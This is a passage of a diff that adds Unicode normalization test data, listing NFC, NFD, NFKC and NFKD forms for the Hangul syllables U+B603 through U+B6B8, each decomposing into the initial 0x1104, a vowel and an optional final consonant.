+{ source: [0xB603], NFC: [0xB603], NFD: [0x1104, 0x1168, 0x11B6], NFKC: [0xB603], NFKD: [0x1104, 0x1168, 0x11B6] },
+{ source: [0xB604], NFC: [0xB604], NFD: [0x1104, 0x1168, 0x11B7], NFKC: [0xB604], NFKD: [0x1104, 0x1168, 0x11B7] },
+{ source: [0xB605], NFC: [0xB605], NFD: [0x1104, 0x1168, 0x11B8], NFKC: [0xB605], NFKD: [0x1104, 0x1168, 0x11B8] },
+{ source: [0xB606], NFC: [0xB606], NFD: [0x1104, 0x1168, 0x11B9], NFKC: [0xB606], NFKD: [0x1104, 0x1168, 0x11B9] },
+{ source: [0xB607], NFC: [0xB607], NFD: [0x1104, 0x1168, 0x11BA], NFKC: [0xB607], NFKD: [0x1104, 0x1168, 0x11BA] },
+{ source: [0xB608], NFC: [0xB608], NFD: [0x1104, 0x1168, 0x11BB], NFKC: [0xB608], NFKD: [0x1104, 0x1168, 0x11BB] },
+{ source: [0xB609], NFC: [0xB609], NFD: [0x1104, 0x1168, 0x11BC], NFKC: [0xB609], NFKD: [0x1104, 0x1168, 0x11BC] },
+{ source: [0xB60A], NFC: [0xB60A], NFD: [0x1104, 0x1168, 0x11BD], NFKC: [0xB60A], NFKD: [0x1104, 0x1168, 0x11BD] },
+{ source: [0xB60B], NFC: [0xB60B], NFD: [0x1104, 0x1168, 0x11BE], NFKC: [0xB60B], NFKD: [0x1104, 0x1168, 0x11BE] },
+{ source: [0xB60C], NFC: [0xB60C], NFD: [0x1104, 0x1168, 0x11BF], NFKC: [0xB60C], NFKD: [0x1104, 0x1168, 0x11BF] },
+{ source: [0xB60D], NFC: [0xB60D], NFD: [0x1104, 0x1168, 0x11C0], NFKC: [0xB60D], NFKD: [0x1104, 0x1168, 0x11C0] },
+{ source: [0xB60E], NFC: [0xB60E], NFD: [0x1104, 0x1168, 0x11C1], NFKC: [0xB60E], NFKD: [0x1104, 0x1168, 0x11C1] },
+{ source: [0xB60F], NFC: [0xB60F], NFD: [0x1104, 0x1168, 0x11C2], NFKC: [0xB60F], NFKD: [0x1104, 0x1168, 0x11C2] },
+{ source: [0xB610], NFC: [0xB610], NFD: [0x1104, 0x1169], NFKC: [0xB610], NFKD: [0x1104, 0x1169] },
+{ source: [0xB611], NFC: [0xB611], NFD: [0x1104, 0x1169, 0x11A8], NFKC: [0xB611], NFKD: [0x1104, 0x1169, 0x11A8] },
+{ source: [0xB612], NFC: [0xB612], NFD: [0x1104, 0x1169, 0x11A9], NFKC: [0xB612], NFKD: [0x1104, 0x1169, 0x11A9] },
+{ source: [0xB613], NFC: [0xB613], NFD: [0x1104, 0x1169, 0x11AA], NFKC: [0xB613], NFKD: [0x1104, 0x1169, 0x11AA] },
+{ source: [0xB614], NFC: [0xB614], NFD: [0x1104, 0x1169, 0x11AB], NFKC: [0xB614], NFKD: [0x1104, 0x1169, 0x11AB] },
+{ source: [0xB615], NFC: [0xB615], NFD: [0x1104, 0x1169, 0x11AC], NFKC: [0xB615], NFKD: [0x1104, 0x1169, 0x11AC] },
+{ source: [0xB616], NFC: [0xB616], NFD: [0x1104, 0x1169, 0x11AD], NFKC: [0xB616], NFKD: [0x1104, 0x1169, 0x11AD] },
+{ source: [0xB617], NFC: [0xB617], NFD: [0x1104, 0x1169, 0x11AE], NFKC: [0xB617], NFKD: [0x1104, 0x1169, 0x11AE] },
+{ source: [0xB618], NFC: [0xB618], NFD: [0x1104, 0x1169, 0x11AF], NFKC: [0xB618], NFKD: [0x1104, 0x1169, 0x11AF] },
+{ source: [0xB619], NFC: [0xB619], NFD: [0x1104, 0x1169, 0x11B0], NFKC: [0xB619], NFKD: [0x1104, 0x1169, 0x11B0] },
+{ source: [0xB61A], NFC: [0xB61A], NFD: [0x1104, 0x1169, 0x11B1], NFKC: [0xB61A], NFKD: [0x1104, 0x1169, 0x11B1] },
+{ source: [0xB61B], NFC: [0xB61B], NFD: [0x1104, 0x1169, 0x11B2], NFKC: [0xB61B], NFKD: [0x1104, 0x1169, 0x11B2] },
+{ source: [0xB61C], NFC: [0xB61C], NFD: [0x1104, 0x1169, 0x11B3], NFKC: [0xB61C], NFKD: [0x1104, 0x1169, 0x11B3] },
+{ source: [0xB61D], NFC: [0xB61D], NFD: [0x1104, 0x1169, 0x11B4], NFKC: [0xB61D], NFKD: [0x1104, 0x1169, 0x11B4] },
+{ source: [0xB61E], NFC: [0xB61E], NFD: [0x1104, 0x1169, 0x11B5], NFKC: [0xB61E], NFKD: [0x1104, 0x1169, 0x11B5] },
+{ source: [0xB61F], NFC: [0xB61F], NFD: [0x1104, 0x1169, 0x11B6], NFKC: [0xB61F], NFKD: [0x1104, 0x1169, 0x11B6] },
+{ source: [0xB620], NFC: [0xB620], NFD: [0x1104, 0x1169, 0x11B7], NFKC: [0xB620], NFKD: [0x1104, 0x1169, 0x11B7] },
+{ source: [0xB621], NFC: [0xB621], NFD: [0x1104, 0x1169, 0x11B8], NFKC: [0xB621], NFKD: [0x1104, 0x1169, 0x11B8] },
+{ source: [0xB622], NFC: [0xB622], NFD: [0x1104, 0x1169, 0x11B9], NFKC: [0xB622], NFKD: [0x1104, 0x1169, 0x11B9] },
+{ source: [0xB623], NFC: [0xB623], NFD: [0x1104, 0x1169, 0x11BA], NFKC: [0xB623], NFKD: [0x1104, 0x1169, 0x11BA] },
+{ source: [0xB624], NFC: [0xB624], NFD: [0x1104, 0x1169, 0x11BB], NFKC: [0xB624], NFKD: [0x1104, 0x1169, 0x11BB] },
+{ source: [0xB625], NFC: [0xB625], NFD: [0x1104, 0x1169, 0x11BC], NFKC: [0xB625], NFKD: [0x1104, 0x1169, 0x11BC] },
+{ source: [0xB626], NFC: [0xB626], NFD: [0x1104, 0x1169, 0x11BD], NFKC: [0xB626], NFKD: [0x1104, 0x1169, 0x11BD] },
+{ source: [0xB627], NFC: [0xB627], NFD: [0x1104, 0x1169, 0x11BE], NFKC: [0xB627], NFKD: [0x1104, 0x1169, 0x11BE] },
+{ source: [0xB628], NFC: [0xB628], NFD: [0x1104, 0x1169, 0x11BF], NFKC: [0xB628], NFKD: [0x1104, 0x1169, 0x11BF] },
+{ source: [0xB629], NFC: [0xB629], NFD: [0x1104, 0x1169, 0x11C0], NFKC: [0xB629], NFKD: [0x1104, 0x1169, 0x11C0] },
+{ source: [0xB62A], NFC: [0xB62A], NFD: [0x1104, 0x1169, 0x11C1], NFKC: [0xB62A], NFKD: [0x1104, 0x1169, 0x11C1] },
+{ source: [0xB62B], NFC: [0xB62B], NFD: [0x1104, 0x1169, 0x11C2], NFKC: [0xB62B], NFKD: [0x1104, 0x1169, 0x11C2] },
+{ source: [0xB62C], NFC: [0xB62C], NFD: [0x1104, 0x116A], NFKC: [0xB62C], NFKD: [0x1104, 0x116A] },
+{ source: [0xB62D], NFC: [0xB62D], NFD: [0x1104, 0x116A, 0x11A8], NFKC: [0xB62D], NFKD: [0x1104, 0x116A, 0x11A8] },
+{ source: [0xB62E], NFC: [0xB62E], NFD: [0x1104, 0x116A, 0x11A9], NFKC: [0xB62E], NFKD: [0x1104, 0x116A, 0x11A9] },
+{ source: [0xB62F], NFC: [0xB62F], NFD: [0x1104, 0x116A, 0x11AA], NFKC: [0xB62F], NFKD: [0x1104, 0x116A, 0x11AA] },
+{ source: [0xB630], NFC: [0xB630], NFD: [0x1104, 0x116A, 0x11AB], NFKC: [0xB630], NFKD: [0x1104, 0x116A, 0x11AB] },
+{ source: [0xB631], NFC: [0xB631], NFD: [0x1104, 0x116A, 0x11AC], NFKC: [0xB631], NFKD: [0x1104, 0x116A, 0x11AC] },
+{ source: [0xB632], NFC: [0xB632], NFD: [0x1104, 0x116A, 0x11AD], NFKC: [0xB632], NFKD: [0x1104, 0x116A, 0x11AD] },
+{ source: [0xB633], NFC: [0xB633], NFD: [0x1104, 0x116A, 0x11AE], NFKC: [0xB633], NFKD: [0x1104, 0x116A, 0x11AE] },
+{ source: [0xB634], NFC: [0xB634], NFD: [0x1104, 0x116A, 0x11AF], NFKC: [0xB634], NFKD: [0x1104, 0x116A, 0x11AF] },
+{ source: [0xB635], NFC: [0xB635], NFD: [0x1104, 0x116A, 0x11B0], NFKC: [0xB635], NFKD: [0x1104, 0x116A, 0x11B0] },
+{ source: [0xB636], NFC: [0xB636], NFD: [0x1104, 0x116A, 0x11B1], NFKC: [0xB636], NFKD: [0x1104, 0x116A, 0x11B1] },
+{ source: [0xB637], NFC: [0xB637], NFD: [0x1104, 0x116A, 0x11B2], NFKC: [0xB637], NFKD: [0x1104, 0x116A, 0x11B2] },
+{ source: [0xB638], NFC: [0xB638], NFD: [0x1104, 0x116A, 0x11B3], NFKC: [0xB638], NFKD: [0x1104, 0x116A, 0x11B3] },
+{ source: [0xB639], NFC: [0xB639], NFD: [0x1104, 0x116A, 0x11B4], NFKC: [0xB639], NFKD: [0x1104, 0x116A, 0x11B4] },
+{ source: [0xB63A], NFC: [0xB63A], NFD: [0x1104, 0x116A, 0x11B5], NFKC: [0xB63A], NFKD: [0x1104, 0x116A, 0x11B5] },
+{ source: [0xB63B], NFC: [0xB63B], NFD: [0x1104, 0x116A, 0x11B6], NFKC: [0xB63B], NFKD: [0x1104, 0x116A, 0x11B6] },
+{ source: [0xB63C], NFC: [0xB63C], NFD: [0x1104, 0x116A, 0x11B7], NFKC: [0xB63C], NFKD: [0x1104, 0x116A, 0x11B7] },
+{ source: [0xB63D], NFC: [0xB63D], NFD: [0x1104, 0x116A, 0x11B8], NFKC: [0xB63D], NFKD: [0x1104, 0x116A, 0x11B8] },
+{ source: [0xB63E], NFC: [0xB63E], NFD: [0x1104, 0x116A, 0x11B9], NFKC: [0xB63E], NFKD: [0x1104, 0x116A, 0x11B9] },
+{ source: [0xB63F], NFC: [0xB63F], NFD: [0x1104, 0x116A, 0x11BA], NFKC: [0xB63F], NFKD: [0x1104, 0x116A, 0x11BA] },
+{ source: [0xB640], NFC: [0xB640], NFD: [0x1104, 0x116A, 0x11BB], NFKC: [0xB640], NFKD: [0x1104, 0x116A, 0x11BB] },
+{ source: [0xB641], NFC: [0xB641], NFD: [0x1104, 0x116A, 0x11BC], NFKC: [0xB641], NFKD: [0x1104, 0x116A, 0x11BC] },
+{ source: [0xB642], NFC: [0xB642], NFD: [0x1104, 0x116A, 0x11BD], NFKC: [0xB642], NFKD: [0x1104, 0x116A, 0x11BD] },
+{ source: [0xB643], NFC: [0xB643], NFD: [0x1104, 0x116A, 0x11BE], NFKC: [0xB643], NFKD: [0x1104, 0x116A, 0x11BE] },
+{ source: [0xB644], NFC: [0xB644], NFD: [0x1104, 0x116A, 0x11BF], NFKC: [0xB644], NFKD: [0x1104, 0x116A, 0x11BF] },
+{ source: [0xB645], NFC: [0xB645], NFD: [0x1104, 0x116A, 0x11C0], NFKC: [0xB645], NFKD: [0x1104, 0x116A, 0x11C0] },
+{ source: [0xB646], NFC: [0xB646], NFD: [0x1104, 0x116A, 0x11C1], NFKC: [0xB646], NFKD: [0x1104, 0x116A, 0x11C1] },
+{ source: [0xB647], NFC: [0xB647], NFD: [0x1104, 0x116A, 0x11C2], NFKC: [0xB647], NFKD: [0x1104, 0x116A, 0x11C2] },
+{ source: [0xB648], NFC: [0xB648], NFD: [0x1104, 0x116B], NFKC: [0xB648], NFKD: [0x1104, 0x116B] },
+{ source: [0xB649], NFC: [0xB649], NFD: [0x1104, 0x116B, 0x11A8], NFKC: [0xB649], NFKD: [0x1104, 0x116B, 0x11A8] },
+{ source: [0xB64A], NFC: [0xB64A], NFD: [0x1104, 0x116B, 0x11A9], NFKC: [0xB64A], NFKD: [0x1104, 0x116B, 0x11A9] },
+{ source: [0xB64B], NFC: [0xB64B], NFD: [0x1104, 0x116B, 0x11AA], NFKC: [0xB64B], NFKD: [0x1104, 0x116B, 0x11AA] },
+{ source: [0xB64C], NFC: [0xB64C], NFD: [0x1104, 0x116B, 0x11AB], NFKC: [0xB64C], NFKD: [0x1104, 0x116B, 0x11AB] },
+{ source: [0xB64D], NFC: [0xB64D], NFD: [0x1104, 0x116B, 0x11AC], NFKC: [0xB64D], NFKD: [0x1104, 0x116B, 0x11AC] },
+{ source: [0xB64E], NFC: [0xB64E], NFD: [0x1104, 0x116B, 0x11AD], NFKC: [0xB64E], NFKD: [0x1104, 0x116B, 0x11AD] },
+{ source: [0xB64F], NFC: [0xB64F], NFD: [0x1104, 0x116B, 0x11AE], NFKC: [0xB64F], NFKD: [0x1104, 0x116B, 0x11AE] },
+{ source: [0xB650], NFC: [0xB650], NFD: [0x1104, 0x116B, 0x11AF], NFKC: [0xB650], NFKD: [0x1104, 0x116B, 0x11AF] },
+{ source: [0xB651], NFC: [0xB651], NFD: [0x1104, 0x116B, 0x11B0], NFKC: [0xB651], NFKD: [0x1104, 0x116B, 0x11B0] },
+{ source: [0xB652], NFC: [0xB652], NFD: [0x1104, 0x116B, 0x11B1], NFKC: [0xB652], NFKD: [0x1104, 0x116B, 0x11B1] },
+{ source: [0xB653], NFC: [0xB653], NFD: [0x1104, 0x116B, 0x11B2], NFKC: [0xB653], NFKD: [0x1104, 0x116B, 0x11B2] },
+{ source: [0xB654], NFC: [0xB654], NFD: [0x1104, 0x116B, 0x11B3], NFKC: [0xB654], NFKD: [0x1104, 0x116B, 0x11B3] },
+{ source: [0xB655], NFC: [0xB655], NFD: [0x1104, 0x116B, 0x11B4], NFKC: [0xB655], NFKD: [0x1104, 0x116B, 0x11B4] },
+{ source: [0xB656], NFC: [0xB656], NFD: [0x1104, 0x116B, 0x11B5], NFKC: [0xB656], NFKD: [0x1104, 0x116B, 0x11B5] },
+{ source: [0xB657], NFC: [0xB657], NFD: [0x1104, 0x116B, 0x11B6], NFKC: [0xB657], NFKD: [0x1104, 0x116B, 0x11B6] },
+{ source: [0xB658], NFC: [0xB658], NFD: [0x1104, 0x116B, 0x11B7], NFKC: [0xB658], NFKD: [0x1104, 0x116B, 0x11B7] },
+{ source: [0xB659], NFC: [0xB659], NFD: [0x1104, 0x116B, 0x11B8], NFKC: [0xB659], NFKD: [0x1104, 0x116B, 0x11B8] },
+{ source: [0xB65A], NFC: [0xB65A], NFD: [0x1104, 0x116B, 0x11B9], NFKC: [0xB65A], NFKD: [0x1104, 0x116B, 0x11B9] },
+{ source: [0xB65B], NFC: [0xB65B], NFD: [0x1104, 0x116B, 0x11BA], NFKC: [0xB65B], NFKD: [0x1104, 0x116B, 0x11BA] },
+{ source: [0xB65C], NFC: [0xB65C], NFD: [0x1104, 0x116B, 0x11BB], NFKC: [0xB65C], NFKD: [0x1104, 0x116B, 0x11BB] },
+{ source: [0xB65D], NFC: [0xB65D], NFD: [0x1104, 0x116B, 0x11BC], NFKC: [0xB65D], NFKD: [0x1104, 0x116B, 0x11BC] },
+{ source: [0xB65E], NFC: [0xB65E], NFD: [0x1104, 0x116B, 0x11BD], NFKC: [0xB65E], NFKD: [0x1104, 0x116B, 0x11BD] },
+{ source: [0xB65F], NFC: [0xB65F], NFD: [0x1104, 0x116B, 0x11BE], NFKC: [0xB65F], NFKD: [0x1104, 0x116B, 0x11BE] },
+{ source: [0xB660], NFC: [0xB660], NFD: [0x1104, 0x116B, 0x11BF], NFKC: [0xB660], NFKD: [0x1104, 0x116B, 0x11BF] },
+{ source: [0xB661], NFC: [0xB661], NFD: [0x1104, 0x116B, 0x11C0], NFKC: [0xB661], NFKD: [0x1104, 0x116B, 0x11C0] },
+{ source: [0xB662], NFC: [0xB662], NFD: [0x1104, 0x116B, 0x11C1], NFKC: [0xB662], NFKD: [0x1104, 0x116B, 0x11C1] },
+{ source: [0xB663], NFC: [0xB663], NFD: [0x1104, 0x116B, 0x11C2], NFKC: [0xB663], NFKD: [0x1104, 0x116B, 0x11C2] },
+{ source: [0xB664], NFC: [0xB664], NFD: [0x1104, 0x116C], NFKC: [0xB664], NFKD: [0x1104, 0x116C] },
+{ source: [0xB665], NFC: [0xB665], NFD: [0x1104, 0x116C, 0x11A8], NFKC: [0xB665], NFKD: [0x1104, 0x116C, 0x11A8] },
+{ source: [0xB666], NFC: [0xB666], NFD: [0x1104, 0x116C, 0x11A9], NFKC: [0xB666], NFKD: [0x1104, 0x116C, 0x11A9] },
+{ source: [0xB667], NFC: [0xB667], NFD: [0x1104, 0x116C, 0x11AA], NFKC: [0xB667], NFKD: [0x1104, 0x116C, 0x11AA] },
+{ source: [0xB668], NFC: [0xB668], NFD: [0x1104, 0x116C, 0x11AB], NFKC: [0xB668], NFKD: [0x1104, 0x116C, 0x11AB] },
+{ source: [0xB669], NFC: [0xB669], NFD: [0x1104, 0x116C, 0x11AC], NFKC: [0xB669], NFKD: [0x1104, 0x116C, 0x11AC] },
+{ source: [0xB66A], NFC: [0xB66A], NFD: [0x1104, 0x116C, 0x11AD], NFKC: [0xB66A], NFKD: [0x1104, 0x116C, 0x11AD] },
+{ source: [0xB66B], NFC: [0xB66B], NFD: [0x1104, 0x116C, 0x11AE], NFKC: [0xB66B], NFKD: [0x1104, 0x116C, 0x11AE] },
+{ source: [0xB66C], NFC: [0xB66C], NFD: [0x1104, 0x116C, 0x11AF], NFKC: [0xB66C], NFKD: [0x1104, 0x116C, 0x11AF] },
+{ source: [0xB66D], NFC: [0xB66D], NFD: [0x1104, 0x116C, 0x11B0], NFKC: [0xB66D], NFKD: [0x1104, 0x116C, 0x11B0] },
+{ source: [0xB66E], NFC: [0xB66E], NFD: [0x1104, 0x116C, 0x11B1], NFKC: [0xB66E], NFKD: [0x1104, 0x116C, 0x11B1] },
+{ source: [0xB66F], NFC: [0xB66F], NFD: [0x1104, 0x116C, 0x11B2], NFKC: [0xB66F], NFKD: [0x1104, 0x116C, 0x11B2] },
+{ source: [0xB670], NFC: [0xB670], NFD: [0x1104, 0x116C, 0x11B3], NFKC: [0xB670], NFKD: [0x1104, 0x116C, 0x11B3] },
+{ source: [0xB671], NFC: [0xB671], NFD: [0x1104, 0x116C, 0x11B4], NFKC: [0xB671], NFKD: [0x1104, 0x116C, 0x11B4] },
+{ source: [0xB672], NFC: [0xB672], NFD: [0x1104, 0x116C, 0x11B5], NFKC: [0xB672], NFKD: [0x1104, 0x116C, 0x11B5] },
+{ source: [0xB673], NFC: [0xB673], NFD: [0x1104, 0x116C, 0x11B6], NFKC: [0xB673], NFKD: [0x1104, 0x116C, 0x11B6] },
+{ source: [0xB674], NFC: [0xB674], NFD: [0x1104, 0x116C, 0x11B7], NFKC: [0xB674], NFKD: [0x1104, 0x116C, 0x11B7] },
+{ source: [0xB675], NFC: [0xB675], NFD: [0x1104, 0x116C, 0x11B8], NFKC: [0xB675], NFKD: [0x1104, 0x116C, 0x11B8] },
+{ source: [0xB676], NFC: [0xB676], NFD: [0x1104, 0x116C, 0x11B9], NFKC: [0xB676], NFKD: [0x1104, 0x116C, 0x11B9] },
+{ source: [0xB677], NFC: [0xB677], NFD: [0x1104, 0x116C, 0x11BA], NFKC: [0xB677], NFKD: [0x1104, 0x116C, 0x11BA] },
+{ source: [0xB678], NFC: [0xB678], NFD: [0x1104, 0x116C, 0x11BB], NFKC: [0xB678], NFKD: [0x1104, 0x116C, 0x11BB] },
+{ source: [0xB679], NFC: [0xB679], NFD: [0x1104, 0x116C, 0x11BC], NFKC: [0xB679], NFKD: [0x1104, 0x116C, 0x11BC] },
+{ source: [0xB67A], NFC: [0xB67A], NFD: [0x1104, 0x116C, 0x11BD], NFKC: [0xB67A], NFKD: [0x1104, 0x116C, 0x11BD] },
+{ source: [0xB67B], NFC: [0xB67B], NFD: [0x1104, 0x116C, 0x11BE], NFKC: [0xB67B], NFKD: [0x1104, 0x116C, 0x11BE] },
+{ source: [0xB67C], NFC: [0xB67C], NFD: [0x1104, 0x116C, 0x11BF], NFKC: [0xB67C], NFKD: [0x1104, 0x116C, 0x11BF] },
+{ source: [0xB67D], NFC: [0xB67D], NFD: [0x1104, 0x116C, 0x11C0], NFKC: [0xB67D], NFKD: [0x1104, 0x116C, 0x11C0] },
+{ source: [0xB67E], NFC: [0xB67E], NFD: [0x1104, 0x116C, 0x11C1], NFKC: [0xB67E], NFKD: [0x1104, 0x116C, 0x11C1] },
+{ source: [0xB67F], NFC: [0xB67F], NFD: [0x1104, 0x116C, 0x11C2], NFKC: [0xB67F], NFKD: [0x1104, 0x116C, 0x11C2] },
+{ source: [0xB680], NFC: [0xB680], NFD: [0x1104, 0x116D], NFKC: [0xB680], NFKD: [0x1104, 0x116D] },
+{ source: [0xB681], NFC: [0xB681], NFD: [0x1104, 0x116D, 0x11A8], NFKC: [0xB681], NFKD: [0x1104, 0x116D, 0x11A8] },
+{ source: [0xB682], NFC: [0xB682], NFD: [0x1104, 0x116D, 0x11A9], NFKC: [0xB682], NFKD: [0x1104, 0x116D, 0x11A9] },
+{ source: [0xB683], NFC: [0xB683], NFD: [0x1104, 0x116D, 0x11AA], NFKC: [0xB683], NFKD: [0x1104, 0x116D, 0x11AA] },
+{ source: [0xB684], NFC: [0xB684], NFD: [0x1104, 0x116D, 0x11AB], NFKC: [0xB684], NFKD: [0x1104, 0x116D, 0x11AB] },
+{ source: [0xB685], NFC: [0xB685], NFD: [0x1104, 0x116D, 0x11AC], NFKC: [0xB685], NFKD: [0x1104, 0x116D, 0x11AC] },
+{ source: [0xB686], NFC: [0xB686], NFD: [0x1104, 0x116D, 0x11AD], NFKC: [0xB686], NFKD: [0x1104, 0x116D, 0x11AD] },
+{ source: [0xB687], NFC: [0xB687], NFD: [0x1104, 0x116D, 0x11AE], NFKC: [0xB687], NFKD: [0x1104, 0x116D, 0x11AE] },
+{ source: [0xB688], NFC: [0xB688], NFD: [0x1104, 0x116D, 0x11AF], NFKC: [0xB688], NFKD: [0x1104, 0x116D, 0x11AF] },
+{ source: [0xB689], NFC: [0xB689], NFD: [0x1104, 0x116D, 0x11B0], NFKC: [0xB689], NFKD: [0x1104, 0x116D, 0x11B0] },
+{ source: [0xB68A], NFC: [0xB68A], NFD: [0x1104, 0x116D, 0x11B1], NFKC: [0xB68A], NFKD: [0x1104, 0x116D, 0x11B1] },
+{ source: [0xB68B], NFC: [0xB68B], NFD: [0x1104, 0x116D, 0x11B2], NFKC: [0xB68B], NFKD: [0x1104, 0x116D, 0x11B2] },
+{ source: [0xB68C], NFC: [0xB68C], NFD: [0x1104, 0x116D, 0x11B3], NFKC: [0xB68C], NFKD: [0x1104, 0x116D, 0x11B3] },
+{ source: [0xB68D], NFC: [0xB68D], NFD: [0x1104, 0x116D, 0x11B4], NFKC: [0xB68D], NFKD: [0x1104, 0x116D, 0x11B4] },
+{ source: [0xB68E], NFC: [0xB68E], NFD: [0x1104, 0x116D, 0x11B5], NFKC: [0xB68E], NFKD: [0x1104, 0x116D, 0x11B5] },
+{ source: [0xB68F], NFC: [0xB68F], NFD: [0x1104, 0x116D, 0x11B6], NFKC: [0xB68F], NFKD: [0x1104, 0x116D, 0x11B6] },
+{ source: [0xB690], NFC: [0xB690], NFD: [0x1104, 0x116D, 0x11B7], NFKC: [0xB690], NFKD: [0x1104, 0x116D, 0x11B7] },
+{ source: [0xB691], NFC: [0xB691], NFD: [0x1104, 0x116D, 0x11B8], NFKC: [0xB691], NFKD: [0x1104, 0x116D, 0x11B8] },
+{ source: [0xB692], NFC: [0xB692], NFD: [0x1104, 0x116D, 0x11B9], NFKC: [0xB692], NFKD: [0x1104, 0x116D, 0x11B9] },
+{ source: [0xB693], NFC: [0xB693], NFD: [0x1104, 0x116D, 0x11BA], NFKC: [0xB693], NFKD: [0x1104, 0x116D, 0x11BA] },
+{ source: [0xB694], NFC: [0xB694], NFD: [0x1104, 0x116D, 0x11BB], NFKC: [0xB694], NFKD: [0x1104, 0x116D, 0x11BB] },
+{ source: [0xB695], NFC: [0xB695], NFD: [0x1104, 0x116D, 0x11BC], NFKC: [0xB695], NFKD: [0x1104, 0x116D, 0x11BC] },
+{ source: [0xB696], NFC: [0xB696], NFD: [0x1104, 0x116D, 0x11BD], NFKC: [0xB696], NFKD: [0x1104, 0x116D, 0x11BD] },
+{ source: [0xB697], NFC: [0xB697], NFD: [0x1104, 0x116D, 0x11BE], NFKC: [0xB697], NFKD: [0x1104, 0x116D, 0x11BE] },
+{ source: [0xB698], NFC: [0xB698], NFD: [0x1104, 0x116D, 0x11BF], NFKC: [0xB698], NFKD: [0x1104, 0x116D, 0x11BF] },
+{ source: [0xB699], NFC: [0xB699], NFD: [0x1104, 0x116D, 0x11C0], NFKC: [0xB699], NFKD: [0x1104, 0x116D, 0x11C0] },
+{ source: [0xB69A], NFC: [0xB69A], NFD: [0x1104, 0x116D, 0x11C1], NFKC: [0xB69A], NFKD: [0x1104, 0x116D, 0x11C1] },
+{ source: [0xB69B], NFC: [0xB69B], NFD: [0x1104, 0x116D, 0x11C2], NFKC: [0xB69B], NFKD: [0x1104, 0x116D, 0x11C2] },
+{ source: [0xB69C], NFC: [0xB69C], NFD: [0x1104, 0x116E], NFKC: [0xB69C], NFKD: [0x1104, 0x116E] },
+{ source: [0xB69D], NFC: [0xB69D], NFD: [0x1104, 0x116E, 0x11A8], NFKC: [0xB69D], NFKD: [0x1104, 0x116E, 0x11A8] },
+{ source: [0xB69E], NFC: [0xB69E], NFD: [0x1104, 0x116E, 0x11A9], NFKC: [0xB69E], NFKD: [0x1104, 0x116E, 0x11A9] },
+{ source: [0xB69F], NFC: [0xB69F], NFD: [0x1104, 0x116E, 0x11AA], NFKC: [0xB69F], NFKD: [0x1104, 0x116E, 0x11AA] },
+{ source: [0xB6A0], NFC: [0xB6A0], NFD: [0x1104, 0x116E, 0x11AB], NFKC: [0xB6A0], NFKD: [0x1104, 0x116E, 0x11AB] },
+{ source: [0xB6A1], NFC: [0xB6A1], NFD: [0x1104, 0x116E, 0x11AC], NFKC: [0xB6A1], NFKD: [0x1104, 0x116E, 0x11AC] },
+{ source: [0xB6A2], NFC: [0xB6A2], NFD: [0x1104, 0x116E, 0x11AD], NFKC: [0xB6A2], NFKD: [0x1104, 0x116E, 0x11AD] },
+{ source: [0xB6A3], NFC: [0xB6A3], NFD: [0x1104, 0x116E, 0x11AE], NFKC: [0xB6A3], NFKD: [0x1104, 0x116E, 0x11AE] },
+{ source: [0xB6A4], NFC: [0xB6A4], NFD: [0x1104, 0x116E, 0x11AF], NFKC: [0xB6A4], NFKD: [0x1104, 0x116E, 0x11AF] },
+{ source: [0xB6A5], NFC: [0xB6A5], NFD: [0x1104, 0x116E, 0x11B0], NFKC: [0xB6A5], NFKD: [0x1104, 0x116E, 0x11B0] },
+{ source: [0xB6A6], NFC: [0xB6A6], NFD: [0x1104, 0x116E, 0x11B1], NFKC: [0xB6A6], NFKD: [0x1104, 0x116E, 0x11B1] },
+{ source: [0xB6A7], NFC: [0xB6A7], NFD: [0x1104, 0x116E, 0x11B2], NFKC: [0xB6A7], NFKD: [0x1104, 0x116E, 0x11B2] },
+{ source: [0xB6A8], NFC: [0xB6A8], NFD: [0x1104, 0x116E, 0x11B3], NFKC: [0xB6A8], NFKD: [0x1104, 0x116E, 0x11B3] },
+{ source: [0xB6A9], NFC: [0xB6A9], NFD: [0x1104, 0x116E, 0x11B4], NFKC: [0xB6A9], NFKD: [0x1104, 0x116E, 0x11B4] },
+{ source: [0xB6AA], NFC: [0xB6AA], NFD: [0x1104, 0x116E, 0x11B5], NFKC: [0xB6AA], NFKD: [0x1104, 0x116E, 0x11B5] },
+{ source: [0xB6AB], NFC: [0xB6AB], NFD: [0x1104, 0x116E, 0x11B6], NFKC: [0xB6AB], NFKD: [0x1104, 0x116E, 0x11B6] },
+{ source: [0xB6AC], NFC: [0xB6AC], NFD: [0x1104, 0x116E, 0x11B7], NFKC: [0xB6AC], NFKD: [0x1104, 0x116E, 0x11B7] },
+{ source: [0xB6AD], NFC: [0xB6AD], NFD: [0x1104, 0x116E, 0x11B8], NFKC: [0xB6AD], NFKD: [0x1104, 0x116E, 0x11B8] },
+{ source: [0xB6AE], NFC: [0xB6AE], NFD: [0x1104, 0x116E, 0x11B9], NFKC: [0xB6AE], NFKD: [0x1104, 0x116E, 0x11B9] },
+{ source: [0xB6AF], NFC: [0xB6AF], NFD: [0x1104, 0x116E, 0x11BA], NFKC: [0xB6AF], NFKD: [0x1104, 0x116E, 0x11BA] },
+{ source: [0xB6B0], NFC: [0xB6B0], NFD: [0x1104, 0x116E, 0x11BB], NFKC: [0xB6B0], NFKD: [0x1104, 0x116E, 0x11BB] },
+{ source: [0xB6B1], NFC: [0xB6B1], NFD: [0x1104, 0x116E, 0x11BC], NFKC: [0xB6B1], NFKD: [0x1104, 0x116E, 0x11BC] },
+{ source: [0xB6B2], NFC: [0xB6B2], NFD: [0x1104, 0x116E, 0x11BD], NFKC: [0xB6B2], NFKD: [0x1104, 0x116E, 0x11BD] },
+{ source: [0xB6B3], NFC: [0xB6B3], NFD: [0x1104, 0x116E, 0x11BE], NFKC: [0xB6B3], NFKD: [0x1104, 0x116E, 0x11BE] },
+{ source: [0xB6B4], NFC: [0xB6B4], NFD: [0x1104, 0x116E, 0x11BF], NFKC: [0xB6B4], NFKD: [0x1104, 0x116E, 0x11BF] },
+{ source: [0xB6B5], NFC: [0xB6B5], NFD: [0x1104, 0x116E, 0x11C0], NFKC: [0xB6B5], NFKD: [0x1104, 0x116E, 0x11C0] },
+{ source: [0xB6B6], NFC: [0xB6B6], NFD: [0x1104, 0x116E, 0x11C1], NFKC: [0xB6B6], NFKD: [0x1104, 0x116E, 0x11C1] },
+{ source: [0xB6B7], NFC: [0xB6B7], NFD: [0x1104, 0x116E, 0x11C2], NFKC: [0xB6B7], NFKD: [0x1104, 0x116E, 0x11C2] },
+{ source: [0xB6B8], NFC: [0xB6B8], NFD: [0x1104, 0x116F], NFKC: [0xB6B8], NFKD: [0x1104, 0x116F] },
